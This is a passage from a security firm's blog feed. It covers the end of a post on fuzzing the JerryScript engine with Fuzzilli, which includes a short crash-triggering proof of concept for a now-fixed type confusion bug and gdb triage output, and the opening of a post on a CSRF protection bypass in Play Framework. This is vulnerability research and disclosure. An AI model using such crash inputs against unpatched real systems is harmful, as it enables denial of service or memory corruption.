class=&quot;nx&quot;&gt;ANY_FUNCTION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can imagine, without writing an additional library, the code quickly becomes complicated and clumsy.&lt;/p&gt;

&lt;p&gt;Fuzzing with coverage is mandatory when targeting popular software as a pure blackbox approach only scratches the attack surface. Coverage could be easily obtained when the binary is compiled with a specific &lt;a href=&quot;https://clang.llvm.org/docs/SourceBasedCodeCoverage.html&quot;&gt;Clang&lt;/a&gt; (compiler frontend, part of the LLVM infrastructure) flag. Part of the output could be seen in the picture below. In my case, it was only useful for the manual code review and grammar adjustment, as there was no convenient way how to implement the mutator on the JavaScript source code.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/fuzzilli-jerryscript-coverage-report.png&quot; width=&quot;850&quot; alt=&quot;Coverage Report for V8&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;fuzzilli&quot;&gt;Fuzzilli&lt;/h3&gt;
&lt;p&gt;As an alternative approach, I started to play with &lt;a href=&quot;https://github.com/googleprojectzero/fuzzilli&quot;&gt;Fuzzilli&lt;/a&gt;, which I think is incredible and still a very underrated fuzzer, implemented by &lt;a href=&quot;https://twitter.com/5aelo&quot;&gt;Samuel Groß (aka Saelo)&lt;/a&gt;. Fuzzilli uses an intermediate representation (IR) language called FuzzIL, which is perfectly suitable for mutating. Moreover, any program in FuzzIL could always be converted (lifted) to a valid JavaScript code.&lt;/p&gt;

&lt;p&gt;At that time, the supported targets were &lt;em&gt;V8&lt;/em&gt;, &lt;em&gt;SpiderMonkey&lt;/em&gt;, and &lt;em&gt;JavaScriptCore&lt;/em&gt;. As these engines continuously undergo widespread fuzzing, I instead decided to implement support for a different JavaScript Engine. I was also interested in the communication protocol between the fuzzer and the engine, so I considered expanding this fuzzer to be an excellent exercise.&lt;/p&gt;

&lt;p&gt;I decided to add support for &lt;a href=&quot;https://github.com/jerryscript-project/jerryscript/&quot;&gt;JerryScript&lt;/a&gt;. In the past years, numerous security issues have been discovered on this target by &lt;a href=&quot;https://github.com/renatahodovan/fuzzinator&quot;&gt;Fuzzinator&lt;/a&gt;, which uses the ANTLR v4 testcase generator &lt;a href=&quot;https://github.com/renatahodovan/grammarinator&quot;&gt;Grammarinator&lt;/a&gt;. Those bugs were investigated and fixed, so I wanted to see if Fuzzilli could find something new.&lt;/p&gt;

&lt;h2 id=&quot;fuzzilli-basics&quot;&gt;Fuzzilli Basics&lt;/h2&gt;

&lt;h3 id=&quot;reprl&quot;&gt;REPRL&lt;/h3&gt;

&lt;p&gt;The best available high-level documentation about Fuzzilli is Samuel’s &lt;a href=&quot;https://saelo.github.io/papers/thesis.pdf&quot;&gt;Masters Thesis&lt;/a&gt;, where it was introduced, and I strongly recommend reading it as this article summarizes some of the novel ideas.&lt;/p&gt;

&lt;p&gt;Many modern fuzzer architectures use Forkserver. The idea behind it is to run the program until the initialization is complete, but before it processes any input. Right after that, the input from the fuzzer is read and passed to a newly forked child. The overhead is low since the initialization possibly only occurs once, or when a restart is needed (e.g. in the case of continuous memory leaks).&lt;/p&gt;

&lt;p&gt;Fuzzilli uses the REPRL approach, which saves the overhead caused by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork()&lt;/code&gt; and the measured execution per sample could be ~7 times faster. The JSE engine is modified to read the input from the fuzzer, and after it executes the sample, it obtains the coverage. The crucial part is to reset the state, which is normally (obviously) not done, as the engine uses the context of the already defined variables. In contrast with the Forkserver, we need a rudimentary knowledge of the engine. It is useful to know how the engine’s string representation is internally implemented to feed the input or add additional commands.&lt;/p&gt;

&lt;h3 id=&quot;coverage&quot;&gt;Coverage&lt;/h3&gt;

&lt;p&gt;LLVM gives a convenient way to obtain the edge coverage. Providing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-fsanitize-coverage=trace-pc-guard&lt;/code&gt; compiler flag to Clang, we can receive a pointer to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;end&lt;/code&gt; of the regions, which are initialized by the guard number, as can be read in the llvm &lt;a href=&quot;https://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__sanitizer_cov_trace_pc_guard_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                                    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Counter for the guards.&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Initialize only once.&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;INIT: %p %p&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Guards should start from 1.&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The guard regions are included in the JSE target. This means that the JavaScript engine must be modified to accommodate these changes. Whenever a branch is executed, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__sanitizer_cov_trace_pc_guard&lt;/code&gt; callback is called. Fuzzilli uses a POSIX shared memory object (&lt;a href=&quot;https://www.man7.org/linux/man-pages/man7/shm_overview.7.html&quot;&gt;shmem&lt;/a&gt;) to avoid the overhead when passing the data to the parent process. Shmem represents a bitmap, where the visited edge is set and, after each JavaScript input pass, the edge guards are reinitialized.&lt;/p&gt;

&lt;h3 id=&quot;generation&quot;&gt;Generation&lt;/h3&gt;

&lt;p&gt;We are not going to repeat the program generation algorithms, as they are closely described in the thesis. The surprising fact is that all the programs stem from this simple JavaScript by cleverly applying multiple mutators:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;integration-with-jerryscript&quot;&gt;Integration with JerryScript&lt;/h2&gt;

&lt;p&gt;To add a new target, several modifications for Fuzzilli should be implemented. From a high level, the REPRL pseudocode is described &lt;a href=&quot;https://github.com/googleprojectzero/fuzzilli/tree/master/Targets&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As we already mentioned, the JavaScript engine must be modified to conform to Fuzzilli’s protocol. To keep the same code standards and logic, we recommend adding a custom command line parameter to the engine. If we decide to run the interpreter without it, it will run normally. Otherwise, it uses the hardcoded descriptor numbers to make the parent knows that the interpreter is ready to process our input.&lt;/p&gt;

&lt;p&gt;Fuzzilli internally uses a custom command, by default called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fuzzilli&lt;/code&gt;, which the interpreter should also implement. The first parameter represents the operator - it could be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FUZZILLI_CRASH&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FUZZILLI_PRINT&lt;/code&gt;. The former is used to check if we can intercept the segmentation faults, while the latter (optional) is used to print the output passed as an argument. By design, the fuzzer prevents execution when some checks fail, e.g., the operation &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FUZZILLI_CRASH&lt;/code&gt; is not implemented.&lt;/p&gt;

&lt;p&gt;The code is very similar between different targets, as you can see in the patch for &lt;a href=&quot;https://github.com/googleprojectzero/fuzzilli/blob/master/Targets/Jerryscript/Patches/jerryscript.patch&quot;&gt;JerryScript&lt;/a&gt; that we submitted.&lt;/p&gt;

&lt;p&gt;For a basic setup, one needs to write a short profile file stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sources/FuzzilliCli/Profiles/&lt;/code&gt;. Here we can specify additional builtins specific to the engine, arguments, or thanks to the recent contribution from &lt;a href=&quot;https://github.com/googleprojectzero/fuzzilli/pull/72&quot;&gt;WilliamParks&lt;/a&gt; also the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECMAScriptVersion&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;results&quot;&gt;Results&lt;/h2&gt;

&lt;p&gt;By integrating Fuzzilli with JerryScript, Doyensec was able to identify multiple bugs reported over the course of four weeks through GitHub. All of these issues were fixed.&lt;/p&gt;

&lt;p&gt;All issues were also added to the Fuzzilli &lt;a href=&quot;https://github.com/googleprojectzero/fuzzilli/#jerryscript&quot;&gt;Bug Showcase&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/fuzzilli-jerryscript-showcase.png&quot; width=&quot;850&quot; alt=&quot;Fuzzilli Showcase&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fuzzilli is by design efficient against targets with JIT compilers. It can abuse the non-linear execution flow by generating nested callbacks, Prototypes or &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy&quot;&gt;Proxy&lt;/a&gt; objects, where the state of a different object could be modified. Samples produced by Fuzzilli are specifically generated to incorporate these properties, as required for the discovery of type confusion bugs.&lt;/p&gt;

&lt;p&gt;This behavior could be easily seen in the &lt;a href=&quot;https://github.com/szilagyiadam/jerryscript/commit/a6208a78b3ad6d3224e73c5d18c0c8e68397c2b1&quot;&gt;Issue #3836&lt;/a&gt;. As in most cases, the proof of concept generated by Fuzzilli is very simple:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Float64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Float64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This could be rewritten without changing the semantics to an even simpler code:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Float64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;v1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Float64Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;v1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The root cause of this issue is described in the &lt;a href=&quot;https://github.com/szilagyiadam/jerryscript/commit/a6208a78b3ad6d3224e73c5d18c0c8e68397c2b1&quot;&gt;fix&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In JavaScript when a typed array like &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array&quot;&gt;Float64Array&lt;/a&gt; is created, a raw binary data buffer could be accessed via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; property, represented by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArrayBuffer&lt;/code&gt; type. However, the type was later altered to typed array view &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uint8Array&lt;/code&gt;. During the initialization, the engine was expecting an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArrayBuffer&lt;/code&gt; instead of the typed array. When calling the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecma_arraybuffer_get_buffer&lt;/code&gt; function, the typed array pointer was cast to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArrayBuffer&lt;/code&gt;. Note that this is possible since the production build’s &lt;a href=&quot;https://github.com/szilagyiadam/jerryscript/blob/a56e31f194fe52000ed95605ae3c92390cd60ad5/jerry-core/ecma/operations/ecma-arraybuffer-object.c#L214&quot;&gt;asserts&lt;/a&gt; are removed. This caused the type confusion bug on line &lt;a href=&quot;https://github.com/szilagyiadam/jerryscript/blob/a56e31f194fe52000ed95605ae3c92390cd60ad5/jerry-core/ecma/operations/ecma-arraybuffer-object.c#L196&quot;&gt;196&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Consequently, the destination buffer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dst_buf_p&lt;/code&gt; contained an incorrect pointer, as we can see the memory corruption from the triage via gdb:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
ecma_typedarray_create_object_with_typedarray (typedarray_id=ECMA_FLOAT64_ARRAY, element_size_shift=&amp;lt;optimized out&amp;gt;, proto_p=&amp;lt;optimized out&amp;gt;, typedarray_p=0x5555556bd408 &amp;lt;jerry_global_heap+480&amp;gt;)
    at /home/jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:655
655	    memcpy (dst_buf_p, src_buf_p, array_length &amp;lt;&amp;lt; element_size_shift);
(gdb) x/i $rip
=&amp;gt; 0x55555557654e &amp;lt;ecma_op_create_typedarray+346&amp;gt;:	rep movsb %ds:(%rsi),%es:(%rdi)
(gdb) i r rdi
rdi            0x3004100020008     844704103137288
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Some of the issues, including the one mentioned above, could be probably escalated from Denial of Service to Code Execution. Because of the time constraints and little added value, we have not tried to implement a working exploit.&lt;/p&gt;

&lt;p&gt;I want to thank &lt;em&gt;Saelo&lt;/em&gt; for including my JerryScript patch into Fuzzilli. And many thanks to Doyensec for the funded &lt;a href=&quot;(https://doyensec.com/research.html)&quot;&gt;25% research time&lt;/a&gt;, which made this project possible.&lt;/p&gt;

&lt;h2 id=&quot;additional-references&quot;&gt;Additional References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://saelo.github.io/papers/thesis.pdf&quot;&gt;FuzzIL: Coverage Guided Fuzzing for JavaScript Engines by Saelo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Dominiak-Efficient-Approach-to-Fuzzing-Interpreters-wp.pdf&quot;&gt;Efficient Approach to Fuzzing Interpreters by Marcin Dominiak and Wojciech Rauner&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>CSRF Protection Bypass in Play Framework</title>
   <link href="https://blog.doyensec.com/2020/08/20/playframework-csrf-bypass.html"/>
   <updated>2020-08-20T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2020/08/20/playframework-csrf-bypass</id>
   <content type="html">&lt;p&gt;This blog post illustrates a vulnerability affecting the &lt;a href=&quot;https://www.playframework.com/&quot;&gt;Play framework&lt;/a&gt; that we discovered during a client engagement. This issue allows a complete &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-site_request_forgery&quot;&gt;Cross-Site Request Forgery (CSRF)&lt;/a&gt; protection bypass under specific configurations.&lt;/p&gt;

&lt;p&gt;By their own words, the &lt;strong&gt;Play Framework&lt;/strong&gt; is a &lt;em&gt;high velocity web framework for java and scala&lt;/em&gt;. It is built on Akka which is a &lt;em&gt;toolkit for building highly concurrent, distributed, and resilient message-driven applications for Java and Scala&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Play is a widely used framework and is deployed on web platforms for both large and small organizations, such as &lt;em&gt;Verizon&lt;/em&gt;, &lt;em&gt;Walmart&lt;/em&gt;, &lt;em&gt;The Guardian&lt;/em&gt;, &lt;em&gt;LinkedIn&lt;/em&gt;, &lt;em&gt;Samsung&lt;/em&gt; and many others.&lt;/p&gt;

&lt;h2 id=&quot;old-school-anti-csrf-mechanism&quot;&gt;Old school anti-CSRF mechanism&lt;/h2&gt;

&lt;p&gt;In older versions of the framework, CSRF protection were provided by an insecure baseline mechanism - even when CSRF tokens were not present in the HTTP requests.&lt;/p&gt;

&lt;p&gt;This mechanism was based on the basic differences between &lt;strong&gt;Simple Requests&lt;/strong&gt; and &lt;strong&gt;Preflighted Requests&lt;/strong&gt;. Let’s explore the details of that.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;Simple Request&lt;/strong&gt; has a strict ruleset. Whenever these rules are followed, the user agent (e.g. a browser) won’t issue an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTIONS&lt;/code&gt; request even if this is through &lt;em&gt;XMLHttpRequest&lt;/em&gt;. All rules and details can be seen in this &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&quot;&gt;Mozilla’s Developer Page&lt;/a&gt;,  although we are primarily interested in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; ruleset.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; header for simple requests can contain one of three values:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/x-www-form-urlencoded&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;multipart/form-data&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;text/plain&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you specify a different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt;, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/json&lt;/code&gt;, then the browser will send a OPTIONS request to verify that the web server allows such a request.&lt;/p&gt;

&lt;p&gt;Now that we understand the differences between preflighted and simple requests, we can continue onwards to understand how Play used to protect against CSRF attacks.&lt;/p&gt;

&lt;p&gt;In older versions of the framework (until version 2.5, included),
a black-list approach on receiving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; headers was used as a CSRF prevention mechanism.&lt;/p&gt;

&lt;p&gt;In the &lt;a href=&quot;https://www.playframework.com/documentation/2.8.x/Migration25&quot;&gt;2.8.x migration guide&lt;/a&gt;, we can see how users could restore Play’s old default behavior if required by legacy systems or other dependencies:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;application.conf&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;play&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;csrf&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;bypassHeaders&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Requested&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;With&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;Csrf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;nocheck&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;protectHeaders&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;bypassCorsTrustedOrigins&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;whiteList&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;blackList&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
